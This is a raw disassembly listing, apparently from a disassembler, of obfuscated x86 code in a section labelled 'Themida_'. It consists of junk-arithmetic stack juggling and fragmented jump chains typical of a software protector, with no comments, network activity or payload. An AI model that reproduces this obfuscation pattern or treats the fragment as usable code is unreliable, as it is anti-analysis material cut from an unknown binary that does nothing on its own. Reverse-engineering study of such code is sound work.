pop ebp
add ebp, 4
push edx
jmp loc_5915CA
; END OF FUNCTION CHUNK FOR sub_5A21DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A15E6: ; CODE XREF: sub_59AB43-6206j
; sub_59CAFB-4CF6j ...
push dword ptr [edi+24h]
push [esp+4+var_4]
jmp loc_5A2748
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_5A15F1: ; CODE XREF: Themida_:00599BAAj
mov ecx, 29AD5A9Ch
add [esp+4], ecx
pop ecx
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A1600: ; CODE XREF: Themida_:0059C414j
sub esp, 4
mov [esp], edx
push ecx
jmp loc_5965A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A160F: ; CODE XREF: sub_59390B+BDDDj
pop eax
jmp loc_5945A2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1615: ; CODE XREF: Themida_:00591551j
mov eax, [esp]
push 2163h
mov [esp], edi
mov edi, esp
add edi, 4
push eax
jmp loc_59B80B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_5A162E: ; CODE XREF: sub_59D1FC-1A33j
mov [esp+4+var_4], ebp
mov ebp, esp
jmp loc_595A1F
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1638: ; CODE XREF: sub_59390B-644j
push 7A44h
jmp loc_59319F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1642: ; CODE XREF: Themida_:0059AFA4j
push 48ECh
mov [esp], ecx
jmp loc_59FC17
; ---------------------------------------------------------------------------
loc_5A164F: ; CODE XREF: Themida_:00598C23j
add ecx, 31F471D4h
add ecx, edi
jmp loc_591D18
; ---------------------------------------------------------------------------
loc_5A165C: ; CODE XREF: Themida_:00595A3Fj
push dword ptr [esp+4]
mov esi, [esp]
push edx
mov edx, esp
push ebx
mov ebx, 569221CAh
jmp loc_591E10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_5A1671: ; CODE XREF: sub_5A23FB-3AFAj
shl edx, 1
sub esp, 4
mov [esp-0Ch+arg_8], edi
mov edi, 0C2C30D4h
and edx, edi
pop edi
push ebx
mov ebx, 1B8774EDh
jmp loc_5931C6
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5A168C: ; CODE XREF: sub_59918B-2791j
pop esp
push edx
jmp loc_5A2CB3
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_5A1693: ; CODE XREF: Themida_:0059EDF0j
pop eax
add esp, 4
add edx, eax
push eax
mov eax, 4B634D2Dh
not eax
jmp loc_5A3A11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D02F
loc_5A16A9: ; CODE XREF: sub_59D02F+9j
mov [esp+8+var_8], eax
jmp loc_598E14
; END OF FUNCTION CHUNK FOR sub_59D02F
; ---------------------------------------------------------------------------
loc_5A16B1: ; CODE XREF: Themida_:005932B5j
inc esi
jmp loc_59B6C7
; =============== S U B R O U T I N E =======================================
sub_5A16B7 proc near ; CODE XREF: sub_591FE1+4887j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592292 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005930D7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A201A SIZE 0000000D BYTES
push ebp
mov ebp, 2F9014E8h
sub ebp, 47C03A7Ch
jmp loc_5A201A
sub_5A16B7 endp
; ---------------------------------------------------------------------------
loc_5A16C8: ; CODE XREF: Themida_:00597F48j
mov [esp], edx
mov edx, 4
jmp loc_59AEE4
; ---------------------------------------------------------------------------
loc_5A16D5: ; CODE XREF: Themida_:0059B14Fj
push 6D940E15h
pop esi
shl esi, 5
add esi, 0C2EB9F22h
mov edx, esi
pop esi
push eax
mov eax, 7FB87B30h
not eax
and eax, 6255483Eh
xor eax, 12449A59h
add edx, 0D8331D0h
add edx, 689475Ch
sub edx, 29D02B23h
push eax
mov eax, 54534D8Bh
push edx
mov edx, 5E0348ACh
xor eax, edx
pop edx
neg eax
xor eax, 24212139h
push edi
mov edi, 148307D5h
sub edi, 2E830098h
shl edi, 2
jmp loc_5998A1
; ---------------------------------------------------------------------------
loc_5A1735: ; CODE XREF: Themida_:0059A12Aj
xor ecx, 49F921E8h
sub ecx, 9F4E2BEDh
add esi, 5AA85319h
jmp loc_590EC2
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_59EADA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A175B: ; CODE XREF: sub_59390B+1F18j
mov esi, 7F551ACh
jmp loc_594C0A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1765: ; CODE XREF: Themida_:005930CCj
pop edx
jmp loc_59E9BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A176B: ; CODE XREF: sub_59390B-1F88j
mov edx, ebx
pop ebx
push 6443h
mov [esp-8+arg_0], ecx
mov ecx, 4D72557h
sub edi, ecx
mov ecx, [esp-8+arg_0]
jmp sub_594D13
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A1785: ; CODE XREF: sub_5A51EA-5DFBj
and cl, 7Bh
and cl, 12h
add cl, 80h
jmp loc_59A03F
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_5A1793: ; CODE XREF: Themida_:00595EC0j
add ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_591183
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_5A17A3: ; CODE XREF: sub_591FE1+18E6j
and eax, edi
push dword ptr [esp+0]
jmp loc_598283
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597C8E
loc_5A17AD: ; CODE XREF: sub_597C8E+CAD5j
sub ebp, 4F1812ABh
jmp loc_594293
; END OF FUNCTION CHUNK FOR sub_597C8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A17B8: ; CODE XREF: sub_5A51EA-FD3j
pop eax
pop edx
jmp loc_594ABD
; END OF FUNCTION CHUNK FOR sub_5A51EA
; =============== S U B R O U T I N E =======================================
sub_5A17BF proc near ; DATA XREF: Themida_:005909B4o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00590E0F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591635 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591B63 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005923AB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592BEA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005934C8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005938DB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005953B7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005954E8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00595DB9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005963DA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059A846 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C79E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C84C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059CBBC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059F1CB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FCBE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0024 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1973 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1AC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1E38 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4867 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A58BE SIZE 00000008 BYTES
lodsd
jmp loc_59A846
sub_5A17BF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598DC3
loc_5A17C5: ; CODE XREF: sub_598DC3+11j
mov ebp, [esp+8+var_8]
add esp, 4
add ebp, 4
push ebx
mov ebx, 4
jmp loc_5A5866
; END OF FUNCTION CHUNK FOR sub_598DC3
; ---------------------------------------------------------------------------
loc_5A17DC: ; CODE XREF: Themida_:0059533Ej
pop ebp
push edi
jmp loc_5A5995
; ---------------------------------------------------------------------------
loc_5A17E3: ; CODE XREF: Themida_:005A0DBFj
add ecx, eax
pop eax
add esi, 5C1B2098h
jmp loc_598ECE
; ---------------------------------------------------------------------------
loc_5A17F1: ; CODE XREF: Themida_:0059A2FDj
mov eax, 0EF4DA2D1h
xor ebx, eax
pop eax
sub ebp, 74791122h
add ebp, ebx
add ebp, 74791122h
pop ebx
push 279Eh
jmp loc_5A1896
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
push ecx
push 3743h
mov [esp], edx
jmp loc_5A141A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_5A1827: ; CODE XREF: sub_59822A-3E75j
pop edx
push ebp
push esp
jmp loc_5944C4
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
loc_5A182F: ; CODE XREF: Themida_:0059DFFBj
inc eax
jmp loc_59EEB0
; ---------------------------------------------------------------------------
loc_5A1835: ; CODE XREF: Themida_:005A09E1j
push eax
mov eax, 173532ACh
add ebx, eax
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 4F96261Bh
add ebx, ebp
pop ebp
add ebx, ecx
sub ebx, 4F96261Bh
sub ebx, 173532ACh
push dword ptr [esp]
mov ecx, [esp]
push ebp
jmp loc_593A3A
; ---------------------------------------------------------------------------
loc_5A1869: ; DATA XREF: Themida_:005909DCo
mov ax, [esp]
push 61CAh
mov [esp], edx
push esp
push dword ptr [esp]
jmp loc_5A523F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5A187E: ; CODE XREF: sub_59918B+1F9j
pop esi
jmp loc_594FCF
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_5A1884: ; CODE XREF: Themida_:005A3889j
mov edx, 0A3E1584h
jmp loc_5A012E
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A1896: ; CODE XREF: Themida_:005A180Dj
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
push 3345h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5A2B18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A18B8: ; CODE XREF: sub_59390B+4EEFj
push edi
mov edi, 36543737h
neg edi
jmp loc_59EECD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A18C5: ; CODE XREF: Themida_:00594B4Dj
add esp, 4
push eax
jmp loc_5A2172
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_5A18CE: ; CODE XREF: sub_59D1FC+6E2Cj
push 1DD5EA4h
jmp loc_59BFBD
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
loc_5A18D8: ; CODE XREF: Themida_:0059FA80j
add esp, 4
add ecx, edi
jmp loc_593BC7
; ---------------------------------------------------------------------------
loc_5A18E5: ; CODE XREF: Themida_:00598C51j
shl eax, 8
sub eax, 13767A7Ah
jmp loc_59EDEB
; ---------------------------------------------------------------------------
loc_5A18F2: ; CODE XREF: Themida_:0059DB6Dj
pop ecx
add edx, ebp
pop ebp
add edx, 4
jmp loc_591681
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A18FE: ; CODE XREF: sub_59390B+3E1j
pop ecx
push [esp-22h+arg_18+2]
jmp loc_599F5C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1907: ; CODE XREF: Themida_:0059551Aj
mov [esp], edx
mov edx, 6A7F2083h
sub [esp+8], edx
jmp loc_59396A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A1918: ; CODE XREF: sub_595BAD+B66Cj
push esi
mov esi, 0C6E2C66h
jmp loc_595841
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_5A1923: ; CODE XREF: Themida_:00596E93j
mov [esp], ebx
sub esp, 4
jmp loc_5A29D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592A27
loc_5A192E: ; CODE XREF: sub_592A27+Cj
xchg ebp, [esp+0]
pop esp
pop eax
rep movsd
add esp, [edx+38h]
push 3FEBh
jmp loc_59BD12
; END OF FUNCTION CHUNK FOR sub_592A27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A1942: ; CODE XREF: sub_595BAD+72E6j
add edi, 4573456Ah
jmp loc_5A2D54
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_5A194D: ; CODE XREF: Themida_:005A3AFCj
sub [esp], eax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A1956: ; CODE XREF: Themida_:00596A82j
add esp, 2
push ax
mov ah, 6Fh
jmp loc_5A5840
; ---------------------------------------------------------------------------
loc_5A1962: ; CODE XREF: Themida_:00597E83j
and edi, 3110F07h
jmp loc_59D207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A196D: ; CODE XREF: sub_59390B+622j
pop eax
jmp loc_5A551F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5A1973: ; CODE XREF: sub_5A17BF-C2BFj
pop eax
xchg eax, esi
push 5036h
mov [esp+10h+var_10], ebp
mov ebp, 4C2673A4h
shr ebp, 3
not ebp
shl ebp, 1
jmp loc_5A1AC4
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_5A198E: ; CODE XREF: sub_590BDF+DEC7j
pop esp
jmp loc_595178
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1994: ; CODE XREF: sub_59390B-29ABj
mov eax, 6C3A0483h
add ecx, eax
jmp loc_59E4DA
; ---------------------------------------------------------------------------
loc_5A19A0: ; CODE XREF: sub_59390B-619j
; sub_5932F7+D075j
push 34D9h
jmp loc_5A5439
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_5A19AA: ; CODE XREF: sub_590AC5+10FB8j
add eax, 4
push 4CDh
mov [esp-4+arg_0], ecx
sub esp, 4
mov [esp+0], edx
push 56CD0090h
pop edx
shl edx, 4
jmp loc_59F0BF
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A19CB: ; CODE XREF: sub_59A431-3141j
pop ecx
sub edx, 4A4863F7h
shl edx, 3
sub edx, 5EF2304h
jmp loc_5A137C
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_5A19E0: ; CODE XREF: sub_5A0BFE+3666j
div ecx
push 52CEh
mov [esp+0], esi
mov esi, esp
jmp sub_5A1E76
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
loc_5A19F1: ; CODE XREF: Themida_:0059B866j
add esp, 4
push 2A21h
mov [esp], ebx
jmp loc_5A2B10
; ---------------------------------------------------------------------------
loc_5A1A04: ; CODE XREF: Themida_:005A1598j
xchg edx, [esp]
pop esp
mov [esp], ecx
push ebx
mov bh, 3Fh
mov cl, 7Fh
xor cl, bh
mov ebx, [esp]
jmp loc_595798
; ---------------------------------------------------------------------------
loc_5A1A1A: ; CODE XREF: Themida_:005A4BE3j
push ecx
jmp loc_59787A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1A20: ; CODE XREF: sub_59390B+13F8j
add al, 0Ch
add al, 3Eh
sub al, 5Dh
xor al, 61h
add dl, al
pop eax
add dl, 0E5h
xor al, dl
pop edx
push edi
push esp
pop edi
jmp loc_59B311
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1A39: ; CODE XREF: Themida_:0059C1F4j
mov eax, 0A950399h
sub eax, 21FE42F9h
neg eax
shr eax, 4
shr eax, 8
add eax, 7DC0DD6Bh
xor esi, eax
pop eax
jmp loc_591836
; ---------------------------------------------------------------------------
loc_5A1A58: ; CODE XREF: Themida_:0059818Bj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_593C79
; =============== S U B R O U T I N E =======================================
sub_5A1A6C proc near ; DATA XREF: Themida_:00590A38o
mov ax, [esp+0]
jmp sub_599F38
sub_5A1A6C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_5A1A75: ; CODE XREF: sub_590AC5+F00Fj
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop eax
jmp loc_5A19AA
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591745
loc_5A1A82: ; CODE XREF: sub_591745+8928j
push ecx
mov ecx, 56D1389Eh
xor ebp, ecx
pop ecx
jmp loc_598190
; END OF FUNCTION CHUNK FOR sub_591745
; ---------------------------------------------------------------------------
loc_5A1A90: ; DATA XREF: Themida_:005907C8o
push small word ptr [edx]
jmp loc_59C986
; ---------------------------------------------------------------------------
lodsd
jmp loc_59C45D
; ---------------------------------------------------------------------------
loc_5A1A9E: ; CODE XREF: Themida_:005A3ED0j
push edi
push 21B0h
mov [esp], ecx
mov ecx, 13EF31A7h
add ecx, 123E4DD5h
dec ecx
shl ecx, 3
xor ecx, 316BFBDCh
mov edi, ecx
pop ecx
jmp loc_59C47D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5A1AC4: ; CODE XREF: sub_5A17BF+1CAj
push edx
jmp loc_5963DA
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_5A1ACA: ; CODE XREF: Themida_:005912BEj
sub ebp, 0EA306414h
add ebx, ebp
pop ebp
add ebx, eax
push 3B2h
mov [esp], edi
mov edi, 3CF6196Dh
or edi, 0E7B4334h
push edx
mov edx, 53AC1C1Eh
or edx, 4FBD7CCDh
jmp loc_5A3E30
; ---------------------------------------------------------------------------
loc_5A1AF9: ; CODE XREF: Themida_:005A5273j
pop ebx
jmp loc_5911BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5A1AFF: ; CODE XREF: sub_59A75E+70Cj
add ecx, 4
jmp loc_59117B
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_5A1B0A: ; CODE XREF: Themida_:00598BD8j
add esi, 5C69D910h
jmp loc_5910BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F294
loc_5A1B15: ; CODE XREF: sub_59F294+15EAj
mov ebx, 3C1B63FAh
shr ebx, 5
push edx
jmp sub_59AB43
; END OF FUNCTION CHUNK FOR sub_59F294
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1B23: ; CODE XREF: sub_59390B+53C2j
pop ebp
push esi
mov esi, esp
push eax
mov eax, 53372B03h
jmp loc_59CA90
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598DC3
loc_5A1B32: ; CODE XREF: sub_598DC3+64C2j
mov esp, [esp+0]
jmp loc_59B349
; END OF FUNCTION CHUNK FOR sub_598DC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_5A1B3A: ; CODE XREF: sub_5A3F6E-7C4Bj
sub ebp, 562F7FF9h
sub ebp, 0E9C779A1h
add edi, ebp
pop ebp
add edi, 4
jmp loc_591E36
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_5A1B54: ; CODE XREF: sub_5A3536-CE62j
pop ebp
jmp loc_5A4DC3
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1B5A: ; CODE XREF: sub_59390B+1EA2j
push edx
xor [esp+8+var_8], 1860ECBh
mov eax, [esp+8+var_8]
add esp, 4
jmp sub_5947CA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A1B70: ; CODE XREF: sub_59FD45-B096j
add ebx, 4
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
push 238Eh
mov [esp+0Ch+var_C], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
add eax, 0F1CFFD88h
push eax
add [esp+0Ch+var_C], 271F7617h
pop esi
sub esi, 271F7617h
mov eax, [esp+8+var_8]
push 5B68h
mov [esp+0Ch+var_C], esi
mov esi, esp
add esi, 4
jmp loc_5980C7
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1BC3: ; CODE XREF: sub_59390B-1BBj
pop ebp
jmp loc_591B4F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_5A1BC9: ; CODE XREF: sub_59886E+8067j
sub eax, 273B2834h
push [esp+4+var_4]
pop ebp
add esp, 4
mov ecx, [esp+0]
push ebp
mov ebp, esp
jmp loc_594591
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1BE0: ; CODE XREF: sub_59390B+2A4j
sub ebx, edx
jmp loc_5A1F1D
; ---------------------------------------------------------------------------
loc_5A1BE7: ; CODE XREF: sub_59390B+AEDAj
add ecx, 4
add ecx, 4
xchg ecx, [esp-28h+arg_20]
mov esp, [esp-28h+arg_20]
jmp loc_599A94
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1BFB: ; CODE XREF: Themida_:00596850j
push ecx
mov ch, 0AEh
jmp loc_59D3A3
; ---------------------------------------------------------------------------
loc_5A1C03: ; CODE XREF: Themida_:005985A3j
mov [esp], edi
mov edi, 46EA16B7h
add ecx, 74553F9Eh
add ecx, edi
sub ecx, 74553F9Eh
pop edi
add eax, 0A7E0CEFh
add eax, ecx
sub esp, 4
mov [esp], edx
mov edx, 0A7E0CEFh
sub eax, edx
jmp loc_59EC96
; ---------------------------------------------------------------------------
loc_5A1C33: ; CODE XREF: Themida_:0059DC77j
sub esp, 4
mov [esp], ebp
jmp loc_5A0280
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1C3E: ; CODE XREF: sub_59390B+A15j
sub ebx, 4E9B6EF0h
pop eax
sub ebx, 4F01265Bh
add edx, ebx
pop ebx
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A1C53: ; CODE XREF: sub_59390B+784Aj
pop ebx
push ecx
mov ecx, 52121C00h
jmp loc_59D5EE
; ---------------------------------------------------------------------------
loc_5A1C5F: ; CODE XREF: sub_59390B+10A15j
pop ecx
push ebp
mov ebp, 2C3D50BFh
xor ebp, 64627865h
sub ecx, ebp
pop ebp
mov esi, [esp-8+arg_0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
jmp loc_5A114F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_5A1C89: ; CODE XREF: sub_5A3F6E+17DFj
pop esp
jmp loc_5921EC
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
loc_5A1C8F: ; CODE XREF: Themida_:005A548Dj
push 4AD1h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
push esi
mov esi, 5E23117Eh
not esi
add esi, 0ADF1A5Dh
jmp loc_59F6BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5A1CB3: ; CODE XREF: sub_59A75E-955Ej
push [esp+4+var_4]
pop ebx
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
jmp loc_594714
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_5A1CCB: ; CODE XREF: Themida_:0059E28Aj
mov eax, [esp]
add esp, 4
push ebx
jmp loc_597861
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_5A1CD7: ; CODE XREF: sub_591FE1+9B89j
pop eax
jmp loc_5A14A1
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
loc_5A1CDD: ; CODE XREF: Themida_:0059D50Dj
add al, dh
add al, 0B4h
push bx
mov bh, 48h
sub al, bh
pop bx
pop edx
sub bl, 4Ch
add bl, 22h
add bl, al
jmp loc_5A4B53
; ---------------------------------------------------------------------------
loc_5A1CF7: ; CODE XREF: Themida_:00596671j
xor ebp, [esp]
jmp loc_594EC2
; ---------------------------------------------------------------------------
loc_5A1CFF: ; CODE XREF: Themida_:0059CF78j
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1D0A: ; CODE XREF: sub_59390B+4B29j
mov [esp+0Ch+var_C], edx
jmp sub_590B8D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_5A1D12: ; CODE XREF: sub_5A0060-464Aj
add esp, 4
mov bl, ch
mov ecx, [esp+0]
add esp, 4
add al, bl
jmp loc_595741
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
loc_5A1D2A: ; DATA XREF: Themida_:005907C0o
mov esp, [esp]
jmp loc_598068
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_5A1D32: ; CODE XREF: sub_5A2FE9-10761j
mov edi, 4D4C1970h
jmp loc_59945D
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
loc_5A1D3C: ; CODE XREF: Themida_:00591831j
sub edx, 203C7FDh
jmp loc_594E87
; ---------------------------------------------------------------------------
loc_5A1D47: ; CODE XREF: Themida_:0059541Cj
xchg ebp, [esp]
pop esp
push eax
mov al, 0F2h
jmp loc_597413
; ---------------------------------------------------------------------------
loc_5A1D53: ; CODE XREF: Themida_:005A4FDAj
pop esp
add ebx, 2
xchg ebx, [esp]
jmp loc_595E47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A1D62: ; CODE XREF: sub_59CAFB-9642j
add esp, 4
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, esp
jmp loc_5A08EE
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_5A1D75: ; CODE XREF: Themida_:00596356j
pop eax
add esp, 4
push ebp
mov ebp, 43D9589Ah
xor ebp, 3BFD3395h
jmp loc_5926B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_5A1D8A: ; CODE XREF: sub_59EA40-1B26j
xor edi, 57AD4A58h
and edi, 31D4CF8h
xor edi, 4125251Fh
add edi, 0BDCED255h
mov ecx, edi
pop edi
add esi, ecx
pop ecx
jmp loc_59A9A5
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1DAD: ; CODE XREF: sub_59390B+A2ACj
add esi, 4
add esi, 4
xor esi, [esp+0]
jmp loc_5A2858
; ---------------------------------------------------------------------------
loc_5A1DBE: ; CODE XREF: sub_59390B-1D5Dj
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1DC3: ; CODE XREF: Themida_:005A2F89j
xor ebp, esi
pop esi
add ebp, 1
push 0EF9h
jmp loc_5A47E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FA27
loc_5A1DD6: ; CODE XREF: sub_59FA27-7874j
add edi, 0EB3CD13Bh
and eax, edi
pop edi
shl eax, 2
xor eax, 1E1873A2h
add eax, 43FF15E1h
sub eax, 1
jmp sub_5950DF
